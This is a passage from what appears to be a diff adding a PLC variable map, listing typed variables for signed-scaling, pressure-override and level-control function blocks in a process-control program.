+239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; 